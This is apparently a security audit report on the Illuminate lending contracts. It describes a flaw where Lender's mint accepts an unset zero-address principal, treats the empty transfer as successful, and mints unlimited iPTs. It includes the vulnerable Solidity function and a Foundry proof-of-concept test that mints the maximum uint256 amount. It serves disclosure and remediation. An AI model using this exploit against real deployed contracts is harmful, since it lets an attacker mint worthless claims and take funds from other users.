kenzo

high

# Infinite minting is possible for markets who don't support all protocols

## Summary
When a market does not support all of the lending protocols, an attacker can mint infinite amount of iPTs.
This is because `Lender` does not check that the PT contract exists. So when an attacker calls `mint`, `Lender` will "transfer" PTs from the 0-address, without really checking for success, and then proceed to mint the attacker iPTs for free.

In fact, one could say that like K's Choice, the attacker would get Everything For Free.

## Vulnerability Detail
Using `Lender`'s `mint` function, the user can supply a protocol principal (eg. Notional's PTs) that `Lender` will pull, and then mint to the user the equivalent amount of iPTs.
But not all protocols might be set in a certain market. (This can be evidenced by the `setPrinicipal` [function](https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Marketplace.sol#L209), which allows the admin to set a market at a later date. And also by the fact that evidently not all protocols have the same active markets.)
If a protocol is not set, it's principal token in Illuminate is the 0 address.
When `Lender` tries to pull tokens from the user (using `Safe` library), a call to the 0 address wouldn't revert, so `Lender` would think that the transfer succeeded.
It will then proceed to mint to the user (attacker?) the corresponding amount of iPTs that the user supplied as parameter - even though in actuality the user hasn't sent any tokens.

## Impact
A user can mint infinite (or arbitrary) amount of iPTs for free.
He can then proceed to dump them on the market and make their value 0, or redeem them later, or mint them just before a market matures - and then redeem them for the underlying, on the expense of other users.

## Code Snippet
`Lender`'s `mint` [function](https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L270) takes any `p` as input. It then tries to pull the tokens from the user using `Safe`, and proceeds to mint the corresponding amount of iPTs.
```solidity
    function mint(uint8 p, address u, uint256 m, uint256 a) external unpaused(u, m, p) returns (bool) {
        address principal = IMarketPlace(marketPlace).token(u, m, p);
        Safe.transferFrom(IERC20(principal), msg.sender, address(this), a);
        IERC5095(principalToken(u, m)).authMint(msg.sender, a);
        emit Mint(p, u, m, a);
        return true;
    }
```
`Safe.transferFrom` [will return true](https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/lib/Safe.sol#L114:#L115) if there was no return data:
```solidity
                // There was no return data.
                result := 1
```
Therefore, Illuminate will think `transferFrom` has succeeded and will proceed to mint the attacker the amount of tokens he supplied as parameter.

## Proof of Concept
You can add the following test to `fork/Lender.t.sol` to see that when a market is not set, an attacker can mint infinite amount of iPTs.
```solidity
    // Based on deployMarket but with empty Notional prinicipal
    function deployMarketWithEmptyPrincipal(address u) internal {
        l.setMarketPlace(address(mp));
        // Create a market
        address[8] memory contracts;
        contracts[0] = Contracts.SWIVEL_TOKEN; // Swivel
        contracts[1] = Contracts.YIELD_TOKEN; // Yield
        contracts[2] = Contracts.ELEMENT_TOKEN; // Element
        contracts[3] = Contracts.PENDLE_TOKEN; // Pendle
        contracts[4] = Contracts.TEMPUS_TOKEN; // Tempus
        contracts[5] = Contracts.SENSE_TOKEN; // Sense
        contracts[6] = Contracts.APWINE_TOKEN; // APWine
        contracts[7] = address(0); // Empty principal for Notional

        mp.createMarket(
            u,
            maturity,
            contracts,
            'TEST-TOKEN',
            'TEST',
            Contracts.ELEMENT_VAULT,
            Contracts.APWINE_ROUTER
        );
    }

    function testInfiniteMintWithEmptyPrincipal() public {
        deployMarketWithEmptyPrincipal(Contracts.USDC);

        // Run cheats/approvals
        runCheatcodes(Contracts.USDC);

        uint256 wowMuchTokensBigAmount = type(uint256).max;

        l.mint(uint8(8), Contracts.USDC, maturity, wowMuchTokensBigAmount);

        address ipt = mp.markets(Contracts.USDC, maturity, 0);
        assertEq(wowMuchTokensBigAmount, IERC20(ipt).balanceOf(msg.sender));
    }
```

## Tool used
Manual Review

## Recommendation
In `Lender`'s `mint`, do not allow minting if the PT is address 0 (= if the protocol is not set for this market.)